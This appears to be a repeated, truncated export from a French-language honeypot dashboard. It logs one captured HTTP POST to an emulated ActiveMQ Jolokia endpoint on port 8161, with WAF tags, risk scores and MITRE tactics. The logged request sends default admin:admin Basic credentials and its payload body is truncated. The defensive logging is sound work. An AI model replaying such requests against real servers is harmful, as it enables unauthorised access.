"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
